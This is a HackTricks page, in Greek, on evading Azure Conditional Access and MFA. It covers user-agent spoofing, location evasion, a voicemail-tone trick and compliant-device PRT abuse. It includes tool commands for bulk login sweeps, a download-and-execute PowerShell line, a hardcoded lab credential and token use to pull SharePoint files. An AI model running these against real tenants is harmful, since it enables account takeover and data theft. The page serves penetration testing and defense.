Az - Conditional Access Policies & MFA Bypass
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Azure Conditional Access policies είναι κανόνες που ορίζονται στο Microsoft Azure για να επιβάλλουν ελέγχους πρόσβασης σε υπηρεσίες και εφαρμογές του Azure βάσει ορισμένων συνθηκών. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να προστατεύσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης στις κατάλληλες περιστάσεις.
Conditional access policies ουσιαστικά ορίζουν Who μπορεί να έχει πρόσβαση σε What από Where και How.
Ακολουθούν μερικά παραδείγματα:
- Sign-In Risk Policy: Αυτή η πολιτική μπορεί να οριστεί ώστε να απαιτεί multi-factor authentication (MFA) όταν εντοπίζεται sign-in risk. Για παράδειγμα, αν η συμπεριφορά σύνδεσης ενός χρήστη είναι ασυνήθιστη σε σχέση με το συνηθισμένο του μοτίβο, όπως σύνδεση από διαφορετική χώρα, το σύστημα μπορεί να ζητήσει επιπλέον ταυτοποίηση.
- Device Compliance Policy: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση σε Azure services μόνο σε συσκευές που συμμορφώνονται με τα πρότυπα ασφάλειας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που έχουν ενημερωμένο antivirus ή τρέχουν συγκεκριμένη έκδοση λειτουργικού συστήματος.
Εντοπισμός
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Παρακάμψεις Conditional Acces Policies
Είναι πιθανό μια conditional access policy να ελέγχει κάποια πληροφορία που μπορεί εύκολα να παραποιηθεί, επιτρέποντας μια παράκαμψη της πολιτικής. Και αν, για παράδειγμα, η πολιτική ρύθμιζε MFA, ο attacker θα μπορέσει να την παρακάμψει.
Κατά τη ρύθμιση μιας conditional access policy πρέπει να δηλωθούν οι users που επηρεάζονται και οι target resources (π.χ. όλα τα cloud apps).
Επίσης πρέπει να ρυθμιστούν οι conditions που θα trigger την πολιτική:
- Network: IP, IP ranges και γεωγραφικές τοποθεσίες
- Μπορεί να παρακαμφθεί χρησιμοποιώντας ένα VPN ή Proxy για σύνδεση σε μια επιτρεπόμενη χώρα ή καταφέρνοντας να κάνεις login από μια επιτρεπόμενη IP address
- Microsoft risks: User risk, Sign-in risk, Insider risk
- Device platforms: Any device ή επιλογή Android, iOS, Windows phone, Windows, macOS, Linux
- Αν δεν είναι επιλεγμένο “Any device” αλλά όλες οι άλλες επιλογές είναι επιλεγμένες, είναι δυνατό να το παρακάμψεις χρησιμοποιώντας έναν τυχαίο user-agent που δεν σχετίζεται με αυτές τις πλατφόρμες
- Client apps: Επιλογές είναι “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” και “Other clients”
- Για να παρακάμψεις το login με μια μη επιλεγμένη επιλογή
- Filter for devices: Είναι δυνατό να δημιουργηθεί ένας κανόνας σχετικός με τη χρησιμοποιούμενη συσκευή
- Authentication flows: Επιλογές είναι “Device code flow” και “Authentication transfer”
- Αυτό δεν θα επηρεάσει έναν attacker εκτός αν προσπαθεί να καταχραστεί κάποιο από αυτά τα πρωτόκολλα σε μια phishing προσπάθεια για πρόσβαση στον λογαριασμό του victim
Τα πιθανά results είναι: Block ή Grant access με πιθανές προϋποθέσεις όπως require MFA, η συσκευή να είναι compliant…
Device Platforms - Device Condition
Είναι δυνατό να οριστεί μια συνθήκη βασισμένη στην device platform (Android, iOS, Windows, macOS…), όμως αυτό βασίζεται στο user-agent οπότε είναι εύκολο να παρακαμφθεί. Ακόμη και επιβάλλοντας MFA για όλες τις επιλογές, αν χρησιμοποιήσεις έναν user-agent που δεν αναγνωρίζεται, θα μπορέσεις να παρακάμψεις το MFA ή το block:
.png)
Αρκεί το browser να στείλει έναν άγνωστο user-agent (όπως Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) για να μην ενεργοποιηθεί αυτή η συνθήκη.
Μπορείς να αλλάξεις τον user agent χειροκίνητα στα developer tools:
.png)
Ή να χρησιμοποιήσεις ένα browser extension like this one.
Locations: Countries, IP ranges - Device Condition
Αν αυτό έχει οριστεί στην conditional policy, ένας attacker απλά μπορεί να χρησιμοποιήσει ένα VPN στη επιτρεπόμενη χώρα ή να προσπαθήσει να βρει τρόπο πρόσβασης από μια επιτρεπόμενη IP address για να παρακάμψει αυτές τις συνθήκες.
Cloud Apps
Είναι δυνατό να ρυθμιστούν conditional access policies για να μπλοκάρουν ή να επιβάλλουν, για παράδειγμα, MFA όταν ένας user προσπαθεί να έχει πρόσβαση σε ένα συγκεκριμένο app:
.png)
Για να προσπαθήσεις να παρακάμψεις αυτή την προστασία πρέπει να δεις αν μπορείς να login μόνο σε οποιαδήποτε εφαρμογή.
Το εργαλείο AzureAppsSweep έχει δεκάδες application IDs hardcoded και θα προσπαθήσει να κάνει login σε αυτά, θα σε ενημερώσει και ακόμη θα σου δώσει το token αν είναι επιτυχές.
Για να δοκιμάσεις συγκεκριμένα application IDs σε συγκεκριμένους resources μπορείς επίσης να χρησιμοποιήσεις ένα εργαλείο όπως:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Επιπλέον, είναι επίσης δυνατό να προστατευτεί η μέθοδος σύνδεσης (π.χ. αν προσπαθείτε να συνδεθείτε από τον browser ή από μια desktop εφαρμογή). Το εργαλείο Invoke-MFASweep πραγματοποιεί μερικούς ελέγχους για να προσπαθήσει να παρακάμψει αυτές τις προστασίες επίσης.
Το εργαλείο donkeytoken μπορεί επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς αν και φαίνεται χωρίς συντήρηση.
Το εργαλείο ROPCI μπορεί επίσης να χρησιμοποιηθεί για να δοκιμάσει αυτές τις προστασίες και να δει αν είναι δυνατό να παρακαμφθούν MFA ή μπλοκαρίσματα, αλλά αυτό το εργαλείο λειτουργεί από μια whitebox προοπτική. Πρώτα πρέπει να κατεβάσετε τη λίστα των Apps που επιτρέπονται στο tenant και μετά θα προσπαθήσει να συνδεθεί σε αυτά.
Άλλες Az MFA Παρακάμψεις
Ήχος κλήσης
Μία επιλογή του Azure MFA είναι να λάβει ο χρήστης μια κλήση στον ρυθμισμένο αριθμό τηλεφώνου όπου θα ζητηθεί από τον χρήστη να στείλει τον χαρακτήρα #.
Caution
Επειδή οι χαρακτήρες είναι απλώς τόνοι, ένας επιτιθέμενος θα μπορούσε να συμβιβάσει το φωνητικό μήνυμα του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον τόνο
#και τότε, όταν ζητηθεί το MFA, να βεβαιωθεί ότι το τηλέφωνο του θύματος είναι απασχολημένο (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο voicemail.
Συμβατές Συσκευές
Οι πολιτικές συχνά απαιτούν μια συμβατή συσκευή ή MFA, οπότε ένας επιτιθέμενος θα μπορούσε να καταχωρήσει μια συμβατή συσκευή, να πάρει ένα PRT token και έτσι να παρακάμψει το MFA.
Ξεκινήστε καταχωρώντας μια συμβατή συσκευή στο Intune, στη συνέχεια λάβετε το PRT με:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Βρείτε περισσότερες πληροφορίες για αυτό το είδος επίθεσης στην παρακάτω σελίδα:
Az - Primary Refresh Token (PRT)
Εργαλεία
AzureAppsSweep
Αυτό το script λαμβάνει διαπιστευτήρια χρηστών και ελέγχει αν μπορεί να συνδεθεί σε κάποιες εφαρμογές.
Αυτό είναι χρήσιμο για να δείτε αν δεν απαιτείται MFA για σύνδεση σε κάποιες εφαρμογές που μπορεί αργότερα να καταχραστείτε για να αποκτήσετε αυξημένα προνόμια.
roadrecon
Λήψη όλων των πολιτικών
roadrecon plugin policies
Invoke-MFASweep
MFASweep είναι ένα PowerShell script που προσπαθεί να log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled. Ανάλογα με το πώς έχουν ρυθμιστεί οι conditional access policies και άλλες ρυθμίσεις multi-factor authentication, κάποια πρωτόκολλα μπορεί να παραμείνουν single factor. Έχει επίσης έναν επιπλέον έλεγχο για ADFS configurations και μπορεί να προσπαθήσει να συνδεθεί στον on-prem ADFS server αν εντοπιστεί.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Αυτό το εργαλείο έχει βοηθήσει στον εντοπισμό παρακάμψεων MFA και στη συνέχεια στην κατάχρηση APIs σε πολλούς παραγωγικούς AAD tenants, όπου οι πελάτες AAD πίστευαν ότι είχαν επιβληθεί MFA, αλλά η αυθεντικοποίηση βασισμένη σε ROPC ήταν επιτυχής.
Tip
Πρέπει να έχετε δικαιώματα για να απαριθμήσετε όλες τις εφαρμογές ώστε να μπορείτε να δημιουργήσετε τη λίστα των εφαρμογών για brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token είναι ένα σύνολο συναρτήσεων που στοχεύει να βοηθήσει συμβούλους ασφάλειας που χρειάζεται να επαληθεύσουν Conditional Access Policies, να εκτελέσουν δοκιμές σε 2FA-enabled Microsoft portals, κ.λπ.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Δοκιμάστε κάθε portal αν είναι δυνατό να login χωρίς MFA:
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Επειδή το Azure portal δεν είναι περιορισμένο, είναι δυνατό να συλλεχθεί token από το portal endpoint για πρόσβαση σε οποιαδήποτε service που ανιχνεύθηκε από την προηγούμενη εκτέλεση. Σε αυτή την περίπτωση εντοπίστηκε το Sharepoint και ζητήθηκε token για πρόσβαση σε αυτό:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Υποθέτοντας ότι το token έχει την άδεια Sites.Read.All (από το Sharepoint), ακόμη κι αν δεν μπορείτε να αποκτήσετε πρόσβαση στο Sharepoint μέσω web λόγω MFA, είναι δυνατό να χρησιμοποιήσετε το token για να αποκτήσετε πρόσβαση στα αρχεία με το δημιουργημένο token:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

